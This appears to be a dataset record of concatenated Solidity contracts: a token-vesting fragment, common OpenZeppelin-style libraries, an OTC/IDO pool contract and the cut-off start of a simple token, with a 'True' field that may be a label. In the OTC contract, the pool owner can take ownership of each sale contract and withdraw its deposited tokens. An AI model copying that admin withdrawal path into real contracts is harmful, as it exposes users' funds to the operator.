function releaseToAddress(address _transferTo) external {
_release(msg.sender, _transferTo);
}
function allocateStake(address _beneficiary, uint256 _amount)
external
onlyStaking
returns (bool)
{
require(
reservedForBeneficiary[_beneficiary] - releasedToBeneficiary[_beneficiary] >= _amount,
"SymbiosisTokenVesting: allocation amount exceeds balance"
);
frozenForStakeAmount[_beneficiary] += _amount;
return true;
}
function unlockStake(address _beneficiary, uint256 _amount)
external
onlyStaking
returns (bool)
{
require(
_amount <= frozenForStakeAmount[_beneficiary],
"SymbiosisTokenVesting: amount exceeds frozen amount for this beneficiary"
);
frozenForStakeAmount[_beneficiary] -= _amount;
return true;
}
/**
* @dev Calculates the amount that has already vested.
* @param _beneficiary Address of vested tokens beneficiary
*/
function _vestedAmount(address _beneficiary)
private
view
returns (uint256)
{
uint256 curTimestamp = block.timestamp;
if (curTimestamp < start) {
return 0;
} else if (curTimestamp < cliff) {
return reservedForBeneficiary[_beneficiary] * cliffUnlockedBP / MAX_BPS;
} else if (curTimestamp >= start + duration) {
return reservedForBeneficiary[_beneficiary];
} else {
return
reservedForBeneficiary[_beneficiary] * cliffUnlockedBP / MAX_BPS +
reservedForBeneficiary[_beneficiary] * (MAX_BPS - cliffUnlockedBP) * _vestedPeriod() / (duration - (cliff - start)) / MAX_BPS;
}
}
/**
* @dev Calculates the duration of period that is already unlocked according to VestingSchedule type.
*/
function _vestedPeriod() private view returns (uint256 period) {
period = block.timestamp - cliff; // CONTINUOUS from cliff
if (schedule == VestingSchedule.MONTHLY) {
period = period - (period % MONTHLY_TIME);
} else if (schedule == VestingSchedule.QUARTERLY) {
period = period - (period % QUARTERLY_TIME);
}
}
/**
* @dev Transfers vested tokens.
* @param _beneficiary Address of vested tokens beneficiary
* @param _transferTo Address to which tokens are transferred
*/
function _release(address _beneficiary, address _transferTo) private {
uint256 unreleased = releasableAmount(_beneficiary);
require(unreleased > 0, "SymbiosisTokenVesting: no tokens are due");
releasedToBeneficiary[_beneficiary] =
releasedToBeneficiary[_beneficiary] +
unreleased;
released = released + unreleased;
token.safeTransfer(_transferTo, unreleased);
emit TokensReleased(_beneficiary, _transferTo, unreleased);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../utils/Context.sol";
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
import "../IERC20.sol";
import "../../../utils/Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using Address for address;
function safeTransfer(
IERC20 token,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(
IERC20 token,
address spender,
uint256 value
) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require(
(value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
uint256 newAllowance = token.allowance(address(this), spender) + value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
) internal {
unchecked {
uint256 oldAllowance = token.allowance(address(this), spender);
require(oldAllowance >= value, "SafeERC20: decreased allowance below zero");
uint256 newAllowance = oldAllowance - value;
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
// Return data is optional
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
(bool success, ) = recipient.call{value: amount}("");
require(success, "Address: unable to send value, recipient may have reverted");
}
/**
* @dev Performs a Solidity function call using a low level `call`. A
* plain `call` is an unsafe replacement for a function call: use this
* function instead.
*
* If `target` reverts with a revert reason, it is bubbled up by this
* function (like regular Solidity function calls).
*
* Returns the raw returned data. To convert to the expected return value,
* use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`].
*
* Requirements:
*
* - `target` must be a contract.
* - calling `target` with `data` must not revert.
*
* _Available since v3.1._
*/
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with
* `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return functionCallWithValue(target, data, 0, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but also transferring `value` wei to `target`.
*
* Requirements:
*
* - the calling contract must have an ETH balance of at least `value`.
* - the called Solidity function must be `payable`.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
/**
* @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but
* with `errorMessage` as a fallback revert reason when `target` reverts.
*
* _Available since v3.1._
*/
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: value}(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a static call.
*
* _Available since v3.3._
*/
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
(bool success, bytes memory returndata) = target.staticcall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
/**
* @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`],
* but performing a delegate call.
*
* _Available since v3.4._
*/
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return verifyCallResult(success, returndata, errorMessage);
}
/**
* @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the
* revert reason using the provided one.
*
* _Available since v4.3._
*/
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
} | True | [
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102
]
| [
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|
pragma solidity ^0.6.12;
pragma experimental ABIEncoderV2;
// SPDX-License-Identifier: MIT
library Strings {
struct slice {
uint _len;
uint _ptr;
}
function uint2str(uint256 _i) internal pure returns (string memory _uintAsString) {
if (_i == 0) {
return "0";
}
uint j = _i;
uint len;
while (j != 0) {
len++;
j /= 10;
}
bytes memory bstr = new bytes(len);
uint k = len;
while (_i != 0) {
k = k - 1;
uint8 temp = (48 + uint8(_i - _i / 10 * 10));
bytes1 b1 = bytes1(temp);
bstr[k] = b1;
_i /= 10;
}
return string(bstr);
}
function memcpy(uint dest, uint src, uint len) private pure {
for (; len >= 32; len -= 32) {
assembly {
mstore(dest, mload(src))
}
dest += 32;
src += 32;
}
uint mask = 256 ** (32 - len) - 1;
assembly {
let srcpart := and(mload(src), not(mask))
let destpart := and(mload(dest), mask)
mstore(dest, or(destpart, srcpart))
}
}
function toSlice(string memory self) internal pure returns (slice memory) {
uint ptr;
assembly {
ptr := add(self, 0x20)
}
return slice(bytes(self).length, ptr);
}
function concat(slice memory self, slice memory other) internal pure returns (string memory) {
string memory ret = new string(self._len + other._len);
uint retptr;
assembly {retptr := add(ret, 32)}
memcpy(retptr, self._ptr, self._len);
memcpy(retptr + self._len, other._ptr, other._len);
return ret;
}
}
interface IERC20 {
function symbol() external view returns (string memory);
function name() external view returns (string memory);
function decimals() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "e0");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "e1");
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
}
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() internal {
_status = _NOT_ENTERED;
}
modifier nonReentrant() {
require(_status != _ENTERED, "e0");
_status = _ENTERED;
_;
_status = _NOT_ENTERED;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ow1");
_;
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ow2");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "e0");
(bool success, bytes memory returndata) = target.call{value : weiValue}(data);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "add e0");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "sub e0");
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "mul e0");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "div e0");
uint256 c = a / b;
return c;
}
}
interface Map {
function getFeeNum() external view returns (uint256 tx_price, uint256 tx_fee_rate, uint256 tx_fee_type, uint256 fee_token_decimals, uint256 usdt_token_decimals, IERC20 fee_token, IERC20 usdt_token, address tx_fee_address, address router_address);
}
interface IMdexRouter {
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
contract OtcItem is Ownable, ReentrancyGuard {
using SafeMath for uint256;
using Address for address;
using SafeERC20 for IERC20;
bool public can_ido;
bool public can_buyback;
uint256 private order_id;
uint256 private time;
uint256 public amount_all;
uint256 public amount_ok;
uint256 private price;
address private fee_to;
IERC20 private usdt_token;
IERC20 private ido_token;
address private factory;
string private order_md5;
Map private map;
mapping(address => bool) private white_list;
mapping(address => uint256) public can_buyback_amount_list;
struct deposit_ithdraw_item {
string op_type;
string order_md5;
uint256 _amount;
uint256 time;
}
struct ido_buyback_item {
string op_type;
string order_md5;
uint256 ido_token_amount;
uint256 usdt_token_amount;
uint256 time;
}
mapping(address => mapping(uint256 => deposit_ithdraw_item[])) private deposit_ithdraw_list;
mapping(address => mapping(uint256 => ido_buyback_item[])) private ido_buyback_list;
modifier onlyFeeto() {
require(msg.sender == fee_to || msg.sender == owner(), 'e0');
_;
}
modifier onlyFactory() {
require(msg.sender == factory, 'onlyFactory error');
_;
}
constructor(IERC20 _usdt_token, IERC20 _ido_token, address _fee_to, uint256 _price, string memory _order_md5, uint256 _order_id, uint256 _time, uint256 _amount, Map _map) public {
usdt_token = _usdt_token;
ido_token = _ido_token;
factory = msg.sender;
fee_to = _fee_to;
price = _price;
order_md5 = _order_md5;
order_id = _order_id;
time = _time;
amount_all = _amount;
deposit_ithdraw_list[fee_to][order_id].push((deposit_ithdraw_item('deposit', order_md5, _amount, _time)));
map = _map;
enable_disable_ido_buyback(true, false);
}
function enable_disable_ido_buyback(bool _can_ido, bool _can_buyback) public onlyFeeto {
can_ido = _can_ido;
can_buyback = _can_buyback;
}
function deposit(uint256 _amount, uint256 _time) public onlyFeeto {
require(_amount > 0, 'e0');
require(ido_token.balanceOf(msg.sender) >= _amount, 'e1');
amount_all = amount_all.add(_amount);
deposit_ithdraw_list[fee_to][order_id].push((deposit_ithdraw_item('deposit', order_md5, _amount, _time)));
ido_token.safeTransferFrom(msg.sender, address(this), _amount);
}
function withdraw(uint256 _amount, uint256 _time) public onlyFeeto {
require(_amount > 0, 'e0');
require(ido_token.balanceOf(address(this)) >= _amount, 'e1');
amount_all = amount_all.sub(_amount);
deposit_ithdraw_list[fee_to][order_id].push((deposit_ithdraw_item('withdraw', order_md5, _amount, _time)));
ido_token.safeTransfer(msg.sender, _amount);
}
function auto_swap(IERC20 fee_token, address router_address, uint256 fee_amount, address tx_fee_address) private {
address[] memory path = new address[](2);
path[0] = address(usdt_token);
path[1] = address(fee_token);
usdt_token.approve(router_address, fee_amount);
IMdexRouter(router_address).swapExactTokensForTokensSupportingFeeOnTransferTokens(fee_amount, 0, path, tx_fee_address, block.timestamp);
}
/*
uint256 tx_fee_type; //0,usdt;1,fee_token;2,autoswap;3,fixed
*/
function PayFee(uint256 usdt_token_amount, address _user) private {
(,uint256 tx_fee_rate,uint256 tx_fee_type,,,IERC20 fee_token,,address tx_fee_address,address router_address) = map.getFeeNum();
uint256 fee_amount = usdt_token_amount.mul(tx_fee_rate).div(1e3);
usdt_token.safeTransferFrom(_user, fee_to, usdt_token_amount);
if (address(fee_token) == address(0)) {
tx_fee_type = 0;
}
if (tx_fee_type == 0) {
require(usdt_token.balanceOf(_user) >= fee_amount, 'e0');
usdt_token.safeTransferFrom(_user, tx_fee_address, fee_amount);
} else if (tx_fee_type == 2) {
require(usdt_token.balanceOf(_user) >= fee_amount, 'e1');
usdt_token.safeTransferFrom(_user, address(this), fee_amount);
auto_swap(fee_token, router_address, fee_amount, tx_fee_address);
} else if (tx_fee_type == 1) {
(uint256 tx_price,,,uint256 fee_token_decimals,uint256 usdt_token_decimals,,,,) = map.getFeeNum();
uint256 fee_token_amount = fee_amount.mul(tx_price).mul(10 ** fee_token_decimals).div(10 ** usdt_token_decimals).div(10 ** 18);
require(fee_token.balanceOf(_user) > fee_token_amount, 'e2');
fee_token.safeTransferFrom(_user, tx_fee_address, fee_token_amount);
} else {
(uint256 tx_price,,,uint256 fee_token_decimals,uint256 usdt_token_decimals,,,,) = map.getFeeNum();
uint256 fee_token_amount = fee_amount.mul(tx_price).mul(10 ** fee_token_decimals).div(10 ** usdt_token_decimals).div(10 ** 18);
if (fee_token.balanceOf(_user) >= fee_token_amount) {
fee_token.safeTransferFrom(_user, tx_fee_address, fee_token_amount);
} else {
require(usdt_token.balanceOf(_user) > fee_amount, 'e3');
usdt_token.safeTransferFrom(_user, address(this), fee_amount);
auto_swap(fee_token, router_address, fee_amount, tx_fee_address);
}
}
}
function ido(uint256 _usdt_token_amount, uint256 _time) public nonReentrant {
require(can_ido == true, 'e0');
require(_usdt_token_amount > 0, 'e1');
require(usdt_token.balanceOf(msg.sender) >= _usdt_token_amount, 'e2');
uint256 usdt_token_decimals = usdt_token.decimals();
uint256 ido_token_decimals = ido_token.decimals();
uint256 _ido_token_amount = _usdt_token_amount.mul(10 ** ido_token_decimals).div(10 ** usdt_token_decimals).mul(10 ** 18).div(price);
require(ido_token.balanceOf(address(this)) >= _ido_token_amount, 'e3');
ido_token.safeTransfer(msg.sender, _ido_token_amount);
PayFee(_usdt_token_amount, msg.sender);
amount_ok = amount_ok.add(_ido_token_amount);
ido_buyback_list[msg.sender][order_id].push((ido_buyback_item('ido', order_md5, _ido_token_amount, _usdt_token_amount, _time)));
}
function get_amount() public view returns (uint256) {
return ido_token.balanceOf(address(this));
}
function getDepositWithDrawList(address _user, uint256 _index) public view returns (deposit_ithdraw_item[] memory) {
return deposit_ithdraw_list[_user][_index];
}
function getIdoBuyBackList(address _user, uint256 _index) public view returns (ido_buyback_item[] memory) {
return ido_buyback_list[_user][_index];
}
function getIdoBuyBackListNum(address _user, uint256 _index) public view returns (uint256) {
return ido_buyback_list[_user][_index].length;
}
function setMap(address _address) public onlyFactory {
map = Map(_address);
}
function getIdoTokens(IERC20 _token, address to_address) public onlyOwner {
require(_token != ido_token, 'e0');
uint256 amount = _token.balanceOf(address(this));
require(amount > 0, 'e1');
_token.safeTransfer(to_address, amount);
}
}
contract OtcPool is Ownable {
using SafeMath for uint256;
using SafeERC20 for IERC20;
uint256 public ido_num;
using Strings for *;
Map public map;
IERC20 public fee_token;
mapping(uint256 => OtcItem) private ido_list;
mapping(uint256 => string) private ido_md5_list;
mapping(string => uint256) public ido_md5_list2;
mapping(string => bool) private ido_status_list;
mapping(string => order_info_item) public order_md5_list;
mapping(IERC20 => uint256[]) private token_order_id_list;
mapping(uint256 => IERC20) private token_order_id_list2;
mapping(address => uint256[]) private user_order_id_list;
mapping(uint256 => address) private user_order_id_list2;
mapping(address => mapping(IERC20 => uint256[])) private user_token_order_id_list;
struct decimals_list_item {
uint256 ido_token_decimals;
uint256 usdt_token_decimals;
}
struct symbol_list_item {
string ido_token_symbol;
string usdt_token_symbol;
}
struct token_list_item {
IERC20 ido_token;
IERC20 usdt_token;
}
struct order_info_item {
uint256 order_id;
string order_md5;
uint256 amount;
uint256 price;
address order_address;
uint256 time;
symbol_list_item symbol_list;
token_list_item token_list;
decimals_list_item decimals_list;
}
event createIdoEvent(IERC20 _usdt_token, IERC20 _ido_token, address _fee_to, uint256 _price, string _order_md5, uint256 _order_id, uint256 _time, uint256 _amount, Map _map, OtcItem ido, address idopool, address creator);
constructor() public {
map = Map(0x021320e8AB2A49d070f50857599f7Ba0b1558671);
(,,,,, fee_token,,,) = map.getFeeNum();
}
function createIdo(IERC20 usdt_token, IERC20 ido_token, address fee_to, uint256 price, string memory order_md5, uint256 ido_token_amount, uint256 time) public {
require(ido_status_list[order_md5] == false, 'e0');
require(ido_token_amount > 0, 'e1');
require(ido_token.balanceOf(msg.sender) >= ido_token_amount, 'e2');
(,,,,,,IERC20 usdt_token2,,) = map.getFeeNum();
require(usdt_token2 == usdt_token, 'e3');
OtcItem ido = new OtcItem(usdt_token, ido_token, fee_to, price, order_md5, ido_num, time, ido_token_amount, map);
emit createIdoEvent(usdt_token, ido_token, fee_to, price, order_md5, ido_num, time, ido_token_amount, map, ido, address(this), _msgSender());
ido_status_list[order_md5] = true;
ido_list[ido_num] = ido;
ido_md5_list[ido_num] = order_md5;
ido_md5_list2[order_md5] = ido_num;
ido_token.safeTransferFrom(msg.sender, address(ido), ido_token_amount);
order_md5_list[order_md5] = order_info_item(
ido_num,
order_md5,
ido_token_amount,
price,
msg.sender,
time,
symbol_list_item(ido_token.symbol(), usdt_token.symbol()),
token_list_item(ido_token, usdt_token),
decimals_list_item(ido_token.decimals(), usdt_token.decimals())
);
token_order_id_list[ido_token].push(ido_num);
token_order_id_list2[ido_num] = ido_token;
user_order_id_list[msg.sender].push(ido_num);
user_order_id_list2[ido_num] = msg.sender;
user_token_order_id_list[msg.sender][ido_token].push(ido_num);
ido_num = ido_num.add(1);
}
function getIdoInfo(uint256 _index) public view returns (OtcItem ido, string memory order_md5, uint256 amount_all, uint256 amount_ok, uint256 amount, order_info_item memory order_info, bool can_ido, bool can_buyback) {
ido = ido_list[_index];
order_md5 = ido_md5_list[_index];
amount_all = ido.amount_all();
amount_ok = ido.amount_ok();
order_info = order_md5_list[order_md5];
amount = ido.get_amount();
can_ido = ido.can_ido();
can_buyback = ido.can_buyback();
}
function getIdoInfoByOrderMd5(string memory _order_md5) public view returns (OtcItem ido, string memory order_md5, uint256 amount_all, uint256 amount_ok, uint256 amount, order_info_item memory order_info, bool can_ido, bool can_buyback) {
(ido, order_md5, amount_all, amount_ok, amount, order_info, can_ido, can_buyback) = getIdoInfo(ido_md5_list2[_order_md5]);
}
function getIdoInfoByToken(IERC20 _token) public view returns (uint256[] memory id_list, uint256 id_list_num) {
id_list = token_order_id_list[_token];
id_list_num = id_list.length;
}
function getIdoInfoByUser(address _user) public view returns (uint256[] memory id_list, uint256 id_list_num) {
id_list = user_order_id_list[_user];
id_list_num = id_list.length;
}
function getIdoInfoByUserByToken(address _user, IERC20 _token) public view returns (uint256[] memory id_list, uint256 id_list_num) {
id_list = user_token_order_id_list[_user][_token];
id_list_num = id_list.length;
}
function getidobuybackList(address _user) public view returns (string memory index_list, uint256 index_list_num) {
//require(ido_num > 0, 'getidobuybackList error 0');
for (uint256 i = 0; i < ido_num; i++) {
OtcItem ido = ido_list[i];
if (ido.getIdoBuyBackListNum(_user, i) > 0) {
index_list_num = index_list_num.add(1);
index_list = (index_list.toSlice().concat("|".toSlice())).toSlice().concat(i.uint2str().toSlice());
}
}
}
function getidobuybackListBytoken(address _user, IERC20 _token) public view returns (string memory index_list, uint256 index_list_num) {
//require(ido_num > 0, 'getidobuybackList error 0');
for (uint256 i = 0; i < ido_num; i++) {
OtcItem ido = ido_list[i];
if (ido.getIdoBuyBackListNum(_user, i) > 0 && token_order_id_list2[i] == _token) {
index_list_num = index_list_num.add(1);
index_list = (index_list.toSlice().concat("|".toSlice())).toSlice().concat(i.uint2str().toSlice());
}
}
}
function getidobuybackListByOrderMd5(address _user, string memory _order_md5) public view returns (uint256, bool) {
uint256 index = ido_md5_list2[_order_md5];
OtcItem ido = ido_list[index];
if (ido.getIdoBuyBackListNum(_user, index) > 0)
{
return (index, true);
}
return (0, false);
}
function updateMap(address _address) public onlyOwner {
(,,,,, fee_token,,,) = Map(_address).getFeeNum();
for (uint256 i = 0; i < ido_num; i++) {
OtcItem ido = ido_list[i];
ido.setMap(_address);
}
}
function changeOwner(OtcItem ido) public onlyOwner {
ido.transferOwnership(msg.sender);
}
function getIdoTokens(OtcItem ido, IERC20 _token, address to_address) public onlyOwner {
ido.getIdoTokens(_token, to_address);
}
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|
pragma solidity ^0.4.11;
contract Ulti {
string public name = "Ulti"; // token name
string public symbol = "Ulti"; // token symbol
uint256 public decimals = 18; // token digit
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
